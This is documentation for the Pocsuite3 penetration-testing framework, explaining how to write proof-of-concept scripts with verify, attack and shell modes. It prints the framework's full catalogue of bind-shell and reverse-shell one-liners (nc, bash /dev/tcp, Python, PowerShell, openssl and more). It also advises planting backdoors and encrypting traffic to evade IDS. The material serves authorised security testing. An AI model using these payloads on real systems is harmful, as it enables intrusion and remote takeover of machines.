Skip to content

Write PoC

This section introduces how to write a PoC using Pocsuite3.

Pocsuite3 only supports Python 3.x. To write PoC in Python3 format, developers need basic Python3 knowledge.

Start From Scratch

  1. First create a *.py file, Naming Convention refer to: "PoC Naming Convention"

  2. Import the classes and methods from pocsuite3.api, and write the PoC class DemoPOC, which inherits from the PoCBase class.

from pocsuite3.api import Output, POCBase, register_poc, requests, logger
from pocsuite3.api import get_listener_ip, get_listener_port
from pocsuite3.api import REVERSE_PAYLOAD, random_str

class DemoPOC(POCBase):
    ...
  1. Fill in the PoC attribute fields, Please fill in all attribute fields carefully

TIP

None of these fields are must required and can be left blank

    vulID = '99335'  # Seebug SSVID, default is 0
    version = '1'  # The version of the PoC, defaults is 1
    author = 'seebug'  # PoC author
    vulDate = '2021-8-18'  # Vulnerability disclosure date (%Y-%m-%d)
    createDate = '2021-8-20'  # PoC create date (%Y-%m-%d)
    updateDate = '2021-8-20'  # PoC update date (%Y-%m-%d)
    references = ['https://www.seebug.org/vuldb/ssvid-99335']  # Advisory URL
    name = 'Fortinet FortiWeb Post-Auth RCE (CVE-2021-22123)'  # <vendor> <component> <version> <vulnerability type> <cve number>
    appPowerLink = 'https://www.fortinet.com'  # Vendor homepage
    appName = 'FortiWeb'  # Product or component name
    appVersion = '<=6.4.0'  # Affected version
    vulType = 'Code Execution'  # Vulnerability type
    desc = 'The parameter name in /api/v2.0/user/remoteserver.saml contains a command injection vulnerability.'  # Vulnerability description
    samples = ['http://192.168.1.1']
    install_requires = ['BeautifulSoup4:bs4']  # PoC third-party module dependencies
    pocDesc = ''' Usage description of PoC '''
    category = POC_CATEGORY.EXPLOITS.WEBAPP  # PoC category
    protocol = POC_CATEGORY.PROTOCOL.HTTP  # PoC protocol
    protocol_default_port = 8443  # Target default port, used for URL formatting when the provided target does not contain a port
    dork = {'zoomeye': 'deviceState.admin.hostname'}  # Cyberspace serach engine dork
    suricata_request = '''http.uri; content: "/api/v2.0/user/remoteserver.saml";'''  # suricata rule of request
    suricata_response = ''  # suricata rule of response
  1. Write code for verify mode
def _verify(self):
      output = Output(self)
      # TODO
      if result:
          output.success(result)
      else:
          output.fail('target is not vulnerable')
      return output

output is the standard output API of Pocsuite3. If you want to print success information, use output.success(result), if you want to print failure information, use output.fail(). The system automatically catches exceptions, no need to handle exceptions in PoC. It is recommended to use the parse_output() function in PoCBase to return results.

def _verify(self, verify=True):
    result = {}
    ...

    return self.parse_output(result)

# PoCBase
def parse_output(self, result):
    output = Output(self)
    if result:
        output.success(result)
    else:
        output.fail()
    return output

TIP

In self.parse_output(result), if result is not empty, it will return success information (PoC verification is successful), otherwise it will return failure information.

  1. Write code for attack mode

Attack mode support operations like getshell, checking admin's username and password. It can be defined in the similar way as verify mode.

def _attack(self):
    output = Output(self)
    result = {}
    # TODO

Like verify mode, after successful attack, it is needed to save the result to result parameter and call self.parse_output(result) to return.

TIP

If the PoC doesn't support attack mode, you can add return self._verify() under _attack() function. Then there is no need for you to rewrite _attack() function.

  1. Write code for shell mode

Pocsuite3 will listen to 6666 in shell mode by default. Then write corresponding attack code, let the victim connect to the 6666 port of the system with Pocsuite3 running, then you can get shell of the victim's computer.

def _shell(self):
    cmd = REVERSE_PAYLOAD.BASH.format(get_listener_ip(), get_listener_port())
    # execute cmd

In shell mode, you can only run one PoC script at the same time as the console will enter the shell interaction mode, execute command and print.

From Version 1.8.5, Pocsuite3 supports bind shell. The operation method is the same as before. You need to designate ip and port. IP can be a private IP in the local network or a public IP address of your server.

The implementation of bind shell is located at ./pocsuite3/modules/listener/bind_tcp.py. It implements a third layer, which connects the bind shell (eg., telnet, nc, php single line shell) and the IP/port user designated to use. Using that, the shell mode can run in the private network, and doesn't subject to the network restriction.

Pocsuite3 supports three types of bind shell as following.

bind_shell: Genearal method, directly use it by return bind_shell(self, rce_func) in shell mode. For the vulnerabilities which you can get the execution result, you can define a rce function(you can use anything you like as the function name) . The function's parameter is the command input, and the output is the execution result. If no result you can get, it is possible to write a one-line backdoor to convert it to the previous one. Which is worth noticing is that users can also implement traffic encryption method to avoid IDS detection.

bind_tcp_shell: Support tcp bind shell. Using return bind_tcp_shell(bind_shell_ip, bind_shell_port) in shell mode.

bind_telnet_shell: Support telnet service. Using return bind_telnet_shell(ip, port, username, password) in shell mode.

For example, telnet weak credential implementation in shell mode. It works with one line code.

def _shell(self):
    return bind_telnet_shell(ip, port, 'iot', '***')

In the php environment, write a php backdoor in the target, and then implement the AES encryption and decryption of the traffic in the _rce method:

It is worth mentioning that for the vulnerability that can obtain the execution result, we only need to define a _exploit method in the PoC, and then you can easily implement the three modes of _verify, _attack, _shell, as follows :

# TODO
def _exploit(self, cmd='id'):
    result = ''
    res = requests.get(self.url)
    logger.debug(res.text)
    result = res.text
    return result

def _verify(self):
    result = {}
    if not self._check():
        return self.parse_output(result)

    flag = random_str(10)
    cmd = f'echo {flag}'
    res = self._exploit(cmd)
    if flag in res:
        result['VerifyInfo'] = {}
        result['VerifyInfo']['URL'] = self.url
        result['VerifyInfo'][cmd] = res
    return self.parse_output(result)

def _options(self):
    o = OrderedDict()
    o['cmd'] = OptString('id', description='The command to execute')
    return o

def _attack(self):
    result = {}
    if not self._check():
        return self.parse_output(result)

    cmd = self.get_option('cmd')
    res = self._exploit(cmd)
    result['VerifyInfo'] = {}
    result['VerifyInfo']['URL'] = self.url
    result['VerifyInfo'][cmd] = res
    return self.parse_output(result)

def _shell(self):
    return bind_shell(self, '_exploit')

From version 1.8.6, Pocsuite3 supports encrypted shell. Use the openssl reverse shell payload in the PoC, and specify the --tls option at the runtime.

As you see, the traffic is encrypted:

List of Pocsuite3 Payloads:

In [1]: from pocsuite3.api import BIND_PAYLOAD, REVERSE_PAYLOAD

In [2]: BIND_PAYLOAD.__dict__
Out[2]:
mappingproxy({'__module__': 'pocsuite3.modules.listener.bind_tcp',
              'NODE': 'node -e \'sh=child_process.spawn("/bin/sh");net.createServer(function(client){{client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client);}}).listen("{0}")\'',
              'NC': 'nc -l -p {0} -e /bin/sh',
              'SOCAT': 'socat TCP-LISTEN:{0},reuseaddr,fork EXEC:/bin/sh,pty,stderr,setsid,sigint,sane',
              'PYTHON': 'python -c \'import socket,os,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.bind(("0.0.0.0",{0}));s.listen(5);c,a=s.accept();os.dup2(c.fileno(),0);os.dup2(c.fileno(),1);os.dup2(c.fileno(),2);p=subprocess.call(["/bin/sh","-i"])\'',
              'PERL': 'perl -e \'use Socket;$p={0};socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));bind(S,sockaddr_in($p, INADDR_ANY));listen(S,SOMAXCONN);for(;$p=accept(C,S);close C){{open(STDIN,">&C");open(STDOUT,">&C");open(STDERR,">&C");exec("/bin/bash -i");}};\'',
              'PHP': 'php -r \'$s=socket_create(AF_INET,SOCK_STREAM,SOL_TCP);socket_bind($s,"0.0.0.0",{0});socket_listen($s,1);$cl=socket_accept($s);while(1){{if(!socket_write($cl,"$ ",2))exit;$in=socket_read($cl,100);$cmd=popen("$in","r");while(!feof($cmd)){{$m=fgetc($cmd);socket_write($cl,$m,strlen($m));}}}}\'',
              'RUBY': 'ruby -rsocket -e \'exit if fork;s=TCPServer.new("{0}");while(c=s.accept);while(cmd=c.gets);IO.popen(cmd,"r"){{|io|c.print io.read}}end;end\'',
              'NC2': 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc -lvp {0} >/tmp/f',
              'AWK': 'awk \'BEGIN{{s="/inet/tcp/{0}/0/0";do{{if((s|&getline c)<=0)break;if(c){{while((c|&getline)>0)print $0|&s;close(c)}}}} while(c!="exit")close(s)}}\'',
              'TELNETD': 'telnetd -l /bin/sh -p {0}',
              'NC3': 'rm -rf /tmp/f;mkfifo /tmp/f||mknod /tmp/f p;(nc -l -p {0}||nc -l {0})0</tmp/f|/bin/sh>/tmp/f 2>&1;rm /tmp/f',
              'R': 'R -e "s<-socketConnection(port={0},blocking=TRUE,server=TRUE,open=\'r+\');while(TRUE){{writeLines(readLines(pipe(readLines(s,1))),s)}}"',
              '__dict__': <attribute '__dict__' of 'BIND_PAYLOAD' objects>,
              '__weakref__': <attribute '__weakref__' of 'BIND_PAYLOAD' objects>,
              '__doc__': None})

In [3]: REVERSE_PAYLOAD.__dict__
Out[3]:
mappingproxy({'__module__': 'pocsuite3.modules.listener.reverse_tcp',
              'NC': 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc {0} {1} >/tmp/f',
              'NC2': 'nc -e /bin/sh {0} {1}',
              'NC3': 'rm -f /tmp/p;mknod /tmp/p p && nc {0} {1} 0/tmp/p',
              'BASH0': 'sh -i >& /dev/tcp/{0}/{1} 0>&1',
              'BASH': "bash -c 'sh -i >& /dev/tcp/{0}/{1} 0>&1'",
              'BASH2': "bash -c 'sh -i &gt;&amp; /dev/tcp/{0}/{1} 0&gt;&amp;1'",
              'TELNET': 'rm -rf /tmp/p;mkfifo /tmp/p||mknod /tmp/p p;telnet {0} {1} 0</tmp/p|/bin/sh 1>/tmp/p',
              'PERL': 'perl -e \'use Socket;$i="{0}";$p={1};socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){{open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");}};\'',
              'PYTHON': 'python -c \'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("{0}",{1}));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);\'',
              'PHP': 'php -r \'$sock=fsockopen("{0}",{1});exec("/bin/sh -i <&3 >&3 2>&3");\'',
              'RUBY': 'ruby -rsocket -e \'exit if fork;c=TCPSocket.new("{0}","{1}");while(cmd=c.gets);IO.popen(cmd,"r"){{|io|c.print io.read}}end\'',
              'JAVA': 'r = Runtime.getRuntime()\np = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/{0}/{1};cat <&5 | while read line; do $line 2>&5 >&5; done"] as String[])\np.waitFor()',
              'POWERSHELL': "$client = New-Object System.Net.Sockets.TCPClient('{0}',{1});$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{{0}};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){{;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([textencoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()}};$client.Close()",
              'OPENSSL': 'rm -rf /tmp/s;mkfifo /tmp/s||mknod /tmp/s p;/bin/sh -i </tmp/s 2>&1|openssl s_client -quiet -connect {0}:{1}>/tmp/s;rm -rf /tmp/s',
              'PHP_SSL': 'php -r \'$ctxt=stream_context_create(["ssl"=>["verify_peer"=>false,"verify_peer_name"=>false]]);while($s=@stream_socket_client("ssl://{0}:{1}",$erno,$erstr,30,STREAM_CLIENT_CONNECT,$ctxt)){{while($l=fgets($s)){{exec($l,$o);$o=implode("\n",$o);$o.="\n";fputs($s,$o);}}}}\'&',
              'NC4': 'nc {0} {1} -e /bin/sh',
              'BASH3': "bash -c '0<&173-;exec 173<>/dev/tcp/{0}/{1};sh <&173 >&173 2>&173'",
              'TELNET2': 'rm -f /tmp/p; mknod /tmp/p p && telnet {0} {1} 0/tmp/p',
              'NC5': 'rm -rf /tmp/p;mkfifo /tmp/p||mknod /tmp/p p;nc {0} {1} 0</tmp/p|/bin/sh 1>/tmp/p',
              'LUA': 'lua -e "local s=require(\'socket\');local t=assert(s.tcp());t:connect(\'{0}\',{1});while true do local r,x=t:receive();local f=assert(io.popen(r,\'r\'));local b=assert(f:read(\'*a\'));t:send(b);end;f:close();t:close();"',
              'PERL_SSL': 'perl -e \'use IO::Socket::SSL;$p=fork;exit,if($p);$c=IO::Socket::SSL->new(PeerAddr=>"{0}:{1}",SSL_verify_mode=>0);while(sysread($c,$i,8192)){{syswrite($c,`$i`);}}\'',
              'RUBY2': 'ruby -rsocket -e\'f=TCPSocket.open("{0}",{1}).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)\'',
              'RUBY_SSL': 'ruby -rsocket -ropenssl -e \'exit if fork;c=OpenSSL::SSL::SSLSocket.new(TCPSocket.new("{0}","{1}")).connect;while(cmd=c.gets);IO.popen(cmd.to_s,"r"){{|io|c.print io.read}}end\'',
              'NCAT_SSL': 'ncat -e /bin/sh --ssl {0} {1}',
              '__dict__': <attribute '__dict__' of 'REVERSE_PAYLOAD' objects>,
              '__weakref__': <attribute '__weakref__' of 'REVERSE_PAYLOAD' objects>,
              '__doc__': None})


In [8]: REVERSE_PAYLOAD.BASH.format('127.0.0.1', 6666)
Out[8]: "bash -c 'sh -i >& /dev/tcp/127.0.0.1/6666 0>&1'"
  1. Return results

In both verification mode and attack mode, result should be compliance with the following convention. Please refer to "PoC Result Convention" for the meaning of each fileld.

'Result': {
   'DBInfo': {'Username': 'xxx', 'Password': 'xxx', 'Salt': 'xxx', 'Uid': 'xxx', 'Groupid': 'xxx'},
   'ShellInfo': {'URL': 'xxx', 'Content': 'xxx'},
   'FileInfo': {'Filename': 'xxx', 'Content': 'xxx'},
   'XSSInfo': {'URL': 'xxx', 'Payload': 'xxx'},
   'AdminInfo': {'Uid': 'xxx', 'Username': 'xxx', 'Password': 'xxx'},
   'Database': {'Hostname': 'xxx', 'Username': 'xxx', 'Password': 'xxx', 'DBname': 'xxx'},
   'VerifyInfo': {'URL': 'xxx', 'Postdata': 'xxx', 'Path': 'xxx'},
   'SiteAttr': {'Process': 'xxx'},
   'Stdout': 'result output string'
}
  1. Register PoC

Call register_poc() outside the class to register PoC class

class DemoPOC(POCBase):
    # POC inner

# register DemoPOC class
register_poc(DemoPOC)

Now, we develop the PoC from scratch. Then we will build the vulnerability testing environment for PoC debugging.

Automatically Generated Template

The above process is a little tedious,Pocsuite3 supports template generation using -n or --new since 1.9.4 version.

Reference: PoC Writing Example

──(kali㉿kali)-[/tmp/]
└─$ pocsuite -n                            

,------.                        ,--. ,--.       ,----.   {1.9.6-aad0be3}
|  .--. ',---. ,---.,---.,--.,--`--,-'  '-.,---.'.-.  |
|  '--' | .-. | .--(  .-'|  ||  ,--'-.  .-| .-. : .' <
|  | --'' '-' \ `--.-'  `'  ''  |  | |  | \   --/'-'  |
`--'     `---' `---`----' `----'`--' `--'  `----`----'   https://pocsuite.org
[*] starting at 20:40:34

You are about to be asked to enter information that will be used to create a poc template.
There are quite a few fields but you can leave some blank.
For some fields there will be a default value.
-----
Seebug ssvid (eg, 99335) [0]: 
PoC author (eg, Seebug) []: 
Vulnerability disclosure date (eg, 2021-8-18) [2022-07-14]: 
Advisory URL (eg, https://www.seebug.org/vuldb/ssvid-99335) []: 
Vulnerability CVE number (eg, CVE-2021-22123) []: 
Vendor name (eg, Fortinet) []: 
Product or component name (eg, FortiWeb) []: 
Affected version (eg, <=6.4.0) []: 
Vendor homepage (eg, https://www.fortinet.com) []: 

0    Arbitrary File Read
1    Code Execution
2    Command Execution
3    Denial Of service
4    Information Disclosure
5    Login Bypass
6    Path Traversal
7    SQL Injection
8    SSRF
9    XSS

Vulnerability type, choose from above or provide (eg, 3) []: 
Authentication Required (eg, yes) [no]: 
PoC name [Pre-Auth Other]: 
Filepath in which to save the poc [./20220714_pre-auth_other.py]
[20:40:36] [INFO] Your poc has been saved in ./20220714_pre-auth_other.py :)
...

Minimal PoC Template

From version 1.9.8, Pocsuite3 sets default values for all PoC attribute field in POCBase. So in a PoC, any attribute field is optional, which simplifies the development of the PoC.

from pocsuite3.api import *

class TestPOC(POCBase):
    # Providing the name field is recommended to differentiate between different PoC
    # name = ''
    def _verify(self):
        result = {}
        # TODO, Vulnerability verification
        return self.parse_output(result)


register_poc(TestPOC)

YAML Based PoC

From version 2.0.0, Pocsuite3 support YAML based PoC, compatible with nuclei templates.

Guide to write your own nuclei template: nuclei-templating-guide.

Released under the GPLv2 License.